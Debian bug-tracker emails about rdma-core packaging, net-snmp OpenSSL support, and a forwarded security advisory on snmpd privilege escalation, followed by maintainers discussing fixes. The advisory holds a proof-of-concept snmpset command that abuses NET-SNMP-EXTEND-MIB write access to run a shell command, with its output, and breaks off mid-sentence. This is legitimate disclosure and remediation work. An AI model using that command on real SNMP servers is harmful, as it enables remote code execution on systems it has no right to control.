Bug#740945: Reverting this change
The conclusion of a discussion on the linux-rdma mailing list is that the "Don't activate any targets per default" change should be reverted. Whom should be contacted to perform that revert?
Bug#740945: [Pkg-ofed-devel] Bug#740945: Reverting this change
Hello Ana, Thank you for the quick follow-up. The entire e-mail thread is available at http://www.spinics.net/lists/linux-rdma/msg49668.html. Please let me know if you need more information than what is available in that e-mail thread. Bart.
Bug#918492: (no subject)
Can someone backport the upstream bug fix mentioned in https://bugs.kde.org/show_bug.cgi?id=398324?
Bug#881731: rdma-core: FTBFS on armhf and mips*: missing providers that need coherent DMA
On 11/14/17 21:44, Leon Romanovsky wrote: On Tue, Nov 14, 2017 at 03:41:13PM -0500, Don Dutile wrote: Jason: Why am I being cc'd on this debian bug? I also received a notice about a bug fix in debian, and I had zip to do with it. Is my name tagged in Debian wrt rdma for some reason? by someone? other? Don, All of us received this email [1], because maintainer of rdma-core package is mailing list: "Package: src:rdma-core; Maintainer for src:rdma-core is Linux RDMA Mailing List ;" [1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=881731 Something that's very annoying is that "linux-rdma" is not in the Cc-list of the bug tracker e-mails so these e-mails escape from filter rules. I would appreciate it if either linux-rdma would be removed as a maintainer from the Debian bug tracker, if it would be made visible in the e-mail Cc-list. Thanks, Bart.
Bug#828449: net-snmp and openssl 1.1.0
On 12/23/17 15:17, Sebastian Andrzej Siewior wrote: added those, added a const and removed the "HAVE_EVP_MD_CTX_CREATE" thingy. Hello Sebastian and Andreas, Please have a look at the current trunk. OpenSSL 1.1.0 support was added several weeks ago. Thanks, Bart.
Bug#828449: net-snmp and openssl 1.1.0
On 01/12/18 12:44, Magnus Fromreide wrote: On Thu, Jan 11, 2018 at 07:07:45PM -0800, Bart Van Assche wrote: On 12/23/17 15:17, Sebastian Andrzej Siewior wrote: added those, added a const and removed the "HAVE_EVP_MD_CTX_CREATE" thingy. Hello Sebastian and Andreas, Please have a look at the current trunk. OpenSSL 1.1.0 support was added several weeks ago. Yes, early in December. It broke the testsuite on older versions/systems w/o openssl. That's unfortunate and something I wasn't aware of. If you can provide me the details (OS name + version) I will have a look. Bart.
Bug#828449: net-snmp and openssl 1.1.0
On 01/12/18 13:06, Sebastian Andrzej Siewior wrote: On 2018-01-12 21:44:19 [+0100], Magnus Fromreide wrote: On Thu, Jan 11, 2018 at 07:07:45PM -0800, Bart Van Assche wrote: On 12/23/17 15:17, Sebastian Andrzej Siewior wrote: added those, added a const and removed the "HAVE_EVP_MD_CTX_CREATE" thingy. Hello Sebastian and Andreas, Please have a look at the current trunk. OpenSSL 1.1.0 support was added several weeks ago. Yes, early in December. It broke the testsuite on older versions/systems w/o openssl. The part I added has support for openssl 1.0.2 and should work with libressl, too. Hello Sebastian, The build of the master branch and also the regression tests pass when using libressl on my test setup. However, the following warnings appear and need to be analyzed further: .libs/scapi.o: In function `sc_encrypt': snmplib/scapi.c:1343: warning: warning: EVP_EncryptFinal is often misused, please use EVP_EncryptFinal_ex and EVP_CIPHER_CTX_cleanup .libs/scapi.o: In function `sc_decrypt': snmplib/scapi.c:1561: warning: warning: EVP_DecryptFinal is often misused, please use EVP_DecryptFinal_ex and EVP_CIPHER_CTX_cleanup Bart.
Bug#965166: snmpd privilege escalation
Package: snmpd Version: 5.7.3 The report below comes from USD AG (https://www.usd.de). I am forwarding this report to the Debian organization because I think the root cause is not in the upstream Net-SNMP project but instead in how the Debian project packaged the Net-SNMP software. I see two possible approaches to fix this next to the solutions already mentioned in the report below: - Disable the EXTEND MIB. This will be considered as a regression by the users of this MIB. - Do not allow the Debian-snmp user to modify the snmpd configuration. - Advisory: Elevation of Privileges in Net-SNMP Description === On Debian based systems, the *NET-SNMP* daemon runs as a low privileged user account. However, this protection can be bypassed and it is possible for this account to elevate permissions to the root user. Details === Advisory ID: usd20200059 OTRS ID: Ticket#202007070115 Product: NET-SNMP Affected Version: 5.7.3 (probably earlier versions are also affected) Vulnerability Type: Elevation of Privileges Security Risk: High Vendor URL: http://www.net-snmp.org/ Vendor Status: Not fixed Advisory Status: Open CVE number: Not requested yet CVE Link: Not requested yet First Published: -MM-DD Last Update: 2020-07-09 Introduction The Simple Network Management Protocol (SNMP) is a widely used network protocol for controlling and monitoring network devices. Since the corresponding service (SNMP daemon) needs access to a lot of system components and (per default) binds the network port 161, it usually runs as the root user. On Debian based systems, the default installation of SNMP sets up a dedicated low privileged user account (*Debian-snmp*), that is used to run the SNMP daemon. This adds an additional layer of security, as a compromise of the SNMP service does not directly allow root access to the targeted device. Proof of Concept After installing the SNMP daemon on a Debian based system (e.g. ``apt install snmpd``), a new user account(*Debian-snmp*) is created by the installer: ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [..SNIP..] Debian-snmp:x:122:127::/var/lib/snmp:/bin/false ``` The configuration of the snmpd daemon (systemd) shows, that this is the user account that runs the service: ``` ubuntu@ubuntu:~$ cat /lib/systemd/system/snmpd.service [Unit] Description=Simple Network Management Protocol (SNMP) Daemon. After=network.target ConditionPathExists=/etc/snmp/snmpd.conf [Service] Environment="MIBSDIR=/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf:/usr/share/mibs/site:/usr/share/snmp/mibs:/usr/share/mibs/iana:/usr/share/mibs/ietf:/usr/share/mibs/netsnmp" Environment="MIBS=" Type=simple ExecStartPre=/bin/mkdir -p /var/run/agentx ExecStart=/usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g Debian-snmp -I -smux,mteTrigger,mteTriggerConf -f ExecReload=/bin/kill -HUP $MAINPID [Install] WantedBy=multi-user.target ``` In the following it is assumed that an attacker has *read-write* access to the SNMP service and is able to use the *NET-SNMP-EXTEND-MIB* extension. The following snipped shows how an attacker can abuse the *read-write* access to execute the operating system command ``id`` on the remote SNMP server: ``` ubuntu@ubuntu:~$ cat setup.sh snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \ 'nsExtendStatus."example"' = createAndGo \ 'nsExtendCommand."example"' = /bin/bash \ 'nsExtendArgs."example"'= '-c id' ubuntu@ubuntu:~$ bash setup.sh NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4) NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING: NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5 NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1) NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1) NET-SNMP-EXTEND-MIB::nsExtendStorage."example" = INTEGER: volatile(2) NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: active(1) NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."example" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutputFull."example" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."example" = INTEGER: 1 NET-SNMP-EXTEND-MIB::nsExtendResult."example" = INTEGER: 0 NET-SNMP-EXTEND-MIB::nsExtendOutLine."example".1 = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp) ``` As one can see, the command is executed as the
Bug#965166: [Pkg-net-snmp-devel] Bug#965166: snmpd privilege escalation
Please trim quoted emails when replying.
Net-SNMP version 5.7.3, the version included in Debian, is no longer
maintained upstream.
A patch has been applied to the Net-SNMP v5.8 and master branches that
removes the EXTEND MIB from the list with default MIBs. See also commit
c2b96ee74439 ("snmpd: Disable NET-SNMP-EXTEND-MIB support by default").
However, it's still possible that that patch is reverted before the next
version is released.
Not allowing to set agentUser in /var/lib/snmp/snmpd.conf would probably
help to address the reported vulnerability. However, I doubt that this
would address all vulnerabilities that could be triggered via the EXTEND
MIB. Since the EXTEND MIB allows to run any shell command from a remote
system it can be used for privilege escalation. Since Net-SNMP already
supports other mechanisms for extending snmpd, e.g. the extend and
extendfix directives in snmpd.conf, I propose to disable the EXTEND MIB.
Bug#965166: [Pkg-net-snmp-devel] Bug#965166: snmpd privilege escalation
On 2020-07-19 20:25, Craig Small wrote:
> A patch has been applied to the Net-SNMP v5.8 and master branches that
> removes the EXTEND MIB from the list with default MIBs. See also commit
> c2b96ee74439 ("snmpd: Disable NET-SNMP-EXTEND-MIB support by default").
>
> Is the single line removal in that commit all it needs? From what I can
> see the patch for v5.8 and master branches is just importing c2b96ee74439
> That will make things very easy to fix.
The above matches my understanding.
> Since Net-SNMP already
> supports other mechanisms for extending snmpd, e.g. the extend and
> extendfix directives in snmpd.conf, I propose to disable the EXTEND MIB.
>
> I'm happy to see it go, for the reasons you point out.
>
> Oddly enough, if you set the user in the configuration file and set it
> on the command line with the -u flag, the configuration file parameter
> wins.
>
> root 41574 0.0 0.0 23592 13768 ? Ss 13:12 0:00
> /usr/sbin/snmpd -LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger
> mteTriggerConf -f -p /run/snmpd.pid
A patch is under discussion that will change this behavior such that the
command line -u flag takes precedence if both the -u flag and the
agentuser configuration file parameter have been set. I hope that patch
will be applied a few days from now.
Bart.
